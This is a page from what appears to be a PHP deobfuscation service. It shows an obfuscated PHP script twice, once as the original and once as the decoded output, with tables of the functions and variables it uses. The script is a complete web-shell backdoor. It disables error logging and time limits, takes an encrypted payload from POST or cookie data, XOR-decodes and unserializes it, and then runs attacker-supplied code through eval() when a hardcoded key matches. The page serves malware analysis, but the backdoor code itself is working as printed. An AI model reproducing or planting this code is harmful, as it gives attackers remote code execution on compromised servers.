Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"GLOBALS"}['y8158'] = "N1~us,Y35Je\$X#ywP|l\nn'/_={TDQEF>B;!4x6dfIa2SoV\"HC&rK<..

Decoded Output download

<?php 
 
${"GLOBALS"}['y8158'] = "N1~us,Y35Je\$X#ywP|l
n'/_={TDQEF>B;!4x6dfIa2SoV\"HC&rK<OR\* iM.(b8}9WL
Ag[qmkj`v0^t:pU@-ch)G	+]?Z%z7"; 
$GLOBALS['o645'] = 'chr'; 
$GLOBALS['e6fef53c'] = 'ord'; 
$GLOBALS['rd552968c'] = 'strlen'; 
$GLOBALS['v24011859'] = 'ini_set'; 
$GLOBALS['u06eff08f'] = 'serialize'; 
$GLOBALS['ba2198bb'] = 'phpversion'; 
$GLOBALS['jb4d270'] = 'unserialize'; 
$GLOBALS['fb954d'] = 'base64_decode'; 
$GLOBALS['c626a72e'] = 'set_time_limit'; 
$GLOBALS['keec4e6d'] = 'ofba'; 
$GLOBALS['vc7c4e'] = 'sd0ab6e'; 
$GLOBALS['d258adb'] = $_POST; 
$GLOBALS['ce8b'] = $_COOKIE; 
$GLOBALS['v24011859']('error_log', NULL); 
$GLOBALS['v24011859']('log_errors', 0); 
$GLOBALS['v24011859']('max_execution_time', 0); 
$GLOBALS['c626a72e'](0); 
$he671b8e9 = NULL; 
$c3d401f = NULL; 
$GLOBALS['y3db41'] = '5be11188-fc7b-40c5-bd27-e977a549865a'; 
global $y3db41; 
function sd0ab6e($he671b8e9, $o911722) 
{ 
    $g28faf5 = ""; 
    for ($j8df3f10 = 0; $j8df3f10 < $GLOBALS[$GLOBALS['y8158'][50] . $GLOBALS['y8158'][38] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][42] . $GLOBALS['y8158'][65] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][86]]($he671b8e9);) { 
        for ($d0c22f96 = 0; $d0c22f96 < $GLOBALS[$GLOBALS['y8158'][50] . $GLOBALS['y8158'][38] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][42] . $GLOBALS['y8158'][65] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][86]]($o911722) && $j8df3f10 < $GLOBALS[$GLOBALS['y8158'][50] . $GLOBALS['y8158'][38] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][42] . $GLOBALS['y8158'][65] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][86]]($he671b8e9); $d0c22f96++, $j8df3f10++) { 
            $g28faf5 .= $GLOBALS[$GLOBALS['y8158'][44] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][35] . $GLOBALS['y8158'][8]]($GLOBALS[$GLOBALS['y8158'][10] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][10] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][7] . $GLOBALS['y8158'][86]]($he671b8e9[$j8df3f10]) ^ $GLOBALS[$GLOBALS['y8158'][10] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][10] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][7] . $GLOBALS['y8158'][86]]($o911722[$d0c22f96])); 
        } 
    } 
    return $g28faf5; 
} 
function ofba($he671b8e9, $o911722) 
{ 
    global $y3db41; 
    return $GLOBALS[$GLOBALS['y8158'][77] . $GLOBALS['y8158'][86] . $GLOBALS['y8158'][97] . $GLOBALS['y8158'][86] . $GLOBALS['y8158'][35] . $GLOBALS['y8158'][10]]($GLOBALS[$GLOBALS['y8158'][77] . $GLOBALS['y8158'][86] . $GLOBALS['y8158'][97] . $GLOBALS['y8158'][86] . $GLOBALS['y8158'][35] . $GLOBALS['y8158'][10]]($he671b8e9, $y3db41), $o911722); 
} 
foreach ($GLOBALS[$GLOBALS['y8158'][86] . $GLOBALS['y8158'][10] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][62]] as $o911722 => $f937) { 
    $he671b8e9 = $f937; 
    $c3d401f = $o911722; 
} 
if (!$he671b8e9) { 
    foreach ($GLOBALS[$GLOBALS['y8158'][38] . $GLOBALS['y8158'][42] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][41] . $GLOBALS['y8158'][38] . $GLOBALS['y8158'][62]] as $o911722 => $f937) { 
        $he671b8e9 = $f937; 
        $c3d401f = $o911722; 
    } 
} 
$he671b8e9 = $GLOBALS['jb4d270']($GLOBALS['keec4e6d']($GLOBALS['fb954d']($he671b8e9), $c3d401f)); 
if (isset($he671b8e9[$GLOBALS['y8158'][41] . $GLOBALS['y8158'][74]]) && $y3db41 == $he671b8e9[$GLOBALS['y8158'][41] . $GLOBALS['y8158'][74]]) { 
    if ($he671b8e9[$GLOBALS['y8158'][41]] == $GLOBALS['y8158'][58]) { 
        $j8df3f10 = array($GLOBALS['y8158'][82] . $GLOBALS['y8158'][77] => $GLOBALS[$GLOBALS['y8158'][62] . $GLOBALS['y8158'][41] . $GLOBALS['y8158'][42] . $GLOBALS['y8158'][1] . $GLOBALS['y8158'][65] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][62] . $GLOBALS['y8158'][62]](), $GLOBALS['y8158'][4] . $GLOBALS['y8158'][77] => $GLOBALS['y8158'][1] . $GLOBALS['y8158'][60] . $GLOBALS['y8158'][78] . $GLOBALS['y8158'][85] . $GLOBALS['y8158'][1]); 
        eval($GLOBALS[$GLOBALS['y8158'][3] . $GLOBALS['y8158'][78] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][10] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][78] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][39]]($j8df3f10)); 
    } elseif ($he671b8e9[$GLOBALS['y8158'][41]] == $GLOBALS['y8158'][10]) { 
        eval($he671b8e9[$GLOBALS['y8158'][38]]); 
    } 
    exit; 
} ?>

Did this file decode correctly?

Original Code

<?php

${"GLOBALS"}['y8158'] = "N1~us,Y35Je\$X#ywP|l\nn'/_={TDQEF>B;!4x6dfIa2SoV\"HC&rK<OR\\* iM.(b8}9WL\rAg[qmkj`v0^t:pU@-ch)G\t+]?Z%z7";
$GLOBALS['o645'] = 'chr';
$GLOBALS['e6fef53c'] = 'ord';
$GLOBALS['rd552968c'] = 'strlen';
$GLOBALS['v24011859'] = 'ini_set';
$GLOBALS['u06eff08f'] = 'serialize';
$GLOBALS['ba2198bb'] = 'phpversion';
$GLOBALS['jb4d270'] = 'unserialize';
$GLOBALS['fb954d'] = 'base64_decode';
$GLOBALS['c626a72e'] = 'set_time_limit';
$GLOBALS['keec4e6d'] = 'ofba';
$GLOBALS['vc7c4e'] = 'sd0ab6e';
$GLOBALS['d258adb'] = $_POST;
$GLOBALS['ce8b'] = $_COOKIE;
$GLOBALS['v24011859']('error_log', NULL);
$GLOBALS['v24011859']('log_errors', 0);
$GLOBALS['v24011859']('max_execution_time', 0);
$GLOBALS['c626a72e'](0);
$he671b8e9 = NULL;
$c3d401f = NULL;
$GLOBALS['y3db41'] = '5be11188-fc7b-40c5-bd27-e977a549865a';
global $y3db41;
function sd0ab6e($he671b8e9, $o911722)
{
    $g28faf5 = "";
    for ($j8df3f10 = 0; $j8df3f10 < $GLOBALS[$GLOBALS['y8158'][50] . $GLOBALS['y8158'][38] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][42] . $GLOBALS['y8158'][65] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][86]]($he671b8e9);) {
        for ($d0c22f96 = 0; $d0c22f96 < $GLOBALS[$GLOBALS['y8158'][50] . $GLOBALS['y8158'][38] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][42] . $GLOBALS['y8158'][65] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][86]]($o911722) && $j8df3f10 < $GLOBALS[$GLOBALS['y8158'][50] . $GLOBALS['y8158'][38] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][42] . $GLOBALS['y8158'][65] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][86]]($he671b8e9); $d0c22f96++, $j8df3f10++) {
            $g28faf5 .= $GLOBALS[$GLOBALS['y8158'][44] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][35] . $GLOBALS['y8158'][8]]($GLOBALS[$GLOBALS['y8158'][10] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][10] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][7] . $GLOBALS['y8158'][86]]($he671b8e9[$j8df3f10]) ^ $GLOBALS[$GLOBALS['y8158'][10] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][10] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][7] . $GLOBALS['y8158'][86]]($o911722[$d0c22f96]));
        }
    }
    return $g28faf5;
}
function ofba($he671b8e9, $o911722)
{
    global $y3db41;
    return $GLOBALS[$GLOBALS['y8158'][77] . $GLOBALS['y8158'][86] . $GLOBALS['y8158'][97] . $GLOBALS['y8158'][86] . $GLOBALS['y8158'][35] . $GLOBALS['y8158'][10]]($GLOBALS[$GLOBALS['y8158'][77] . $GLOBALS['y8158'][86] . $GLOBALS['y8158'][97] . $GLOBALS['y8158'][86] . $GLOBALS['y8158'][35] . $GLOBALS['y8158'][10]]($he671b8e9, $y3db41), $o911722);
}
foreach ($GLOBALS[$GLOBALS['y8158'][86] . $GLOBALS['y8158'][10] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][62]] as $o911722 => $f937) {
    $he671b8e9 = $f937;
    $c3d401f = $o911722;
}
if (!$he671b8e9) {
    foreach ($GLOBALS[$GLOBALS['y8158'][38] . $GLOBALS['y8158'][42] . $GLOBALS['y8158'][8] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][41] . $GLOBALS['y8158'][38] . $GLOBALS['y8158'][62]] as $o911722 => $f937) {
        $he671b8e9 = $f937;
        $c3d401f = $o911722;
    }
}
$he671b8e9 = $GLOBALS['jb4d270']($GLOBALS['keec4e6d']($GLOBALS['fb954d']($he671b8e9), $c3d401f));
if (isset($he671b8e9[$GLOBALS['y8158'][41] . $GLOBALS['y8158'][74]]) && $y3db41 == $he671b8e9[$GLOBALS['y8158'][41] . $GLOBALS['y8158'][74]]) {
    if ($he671b8e9[$GLOBALS['y8158'][41]] == $GLOBALS['y8158'][58]) {
        $j8df3f10 = array($GLOBALS['y8158'][82] . $GLOBALS['y8158'][77] => $GLOBALS[$GLOBALS['y8158'][62] . $GLOBALS['y8158'][41] . $GLOBALS['y8158'][42] . $GLOBALS['y8158'][1] . $GLOBALS['y8158'][65] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][62] . $GLOBALS['y8158'][62]](), $GLOBALS['y8158'][4] . $GLOBALS['y8158'][77] => $GLOBALS['y8158'][1] . $GLOBALS['y8158'][60] . $GLOBALS['y8158'][78] . $GLOBALS['y8158'][85] . $GLOBALS['y8158'][1]);
        eval($GLOBALS[$GLOBALS['y8158'][3] . $GLOBALS['y8158'][78] . $GLOBALS['y8158'][37] . $GLOBALS['y8158'][10] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][39] . $GLOBALS['y8158'][78] . $GLOBALS['y8158'][63] . $GLOBALS['y8158'][39]]($j8df3f10));
    } elseif ($he671b8e9[$GLOBALS['y8158'][41]] == $GLOBALS['y8158'][10]) {
        eval($he671b8e9[$GLOBALS['y8158'][38]]);
    }
    exit;
}

Function Calls

ini_set 3
set_time_limit 1

Variables

$ce8b 0
$o645 chr
$fb954d base64_decode
$vc7c4e sd0ab6e
$y3db41 5be11188-fc7b-40c5-bd27-e977a549865a
GLOBALS [{'key': 'y8158', 'value': 'N1~us,Y35Je\\$X#ywP|l\nn\'/_={TDQEF>B;!4x6dfIa2SoV"HC&rK<OR\\* iM.(b8}9WL\rAg[qmkj`v0^t:pU@-ch)G\t+]?Z%z7'}]
$c3d401f 0
$d258adb 0
$jb4d270 unserialize
$ba2198bb phpversion
$c626a72e set_time_limit
$e6fef53c ord
$keec4e6d ofba
$he671b8e9 0
$rd552968c strlen
$u06eff08f serialize
$v24011859 ini_set

Stats

MD5 495ceb16b51bf8f60c18d1221bfa1e6a
Eval Count 0
Decode Time 100 ms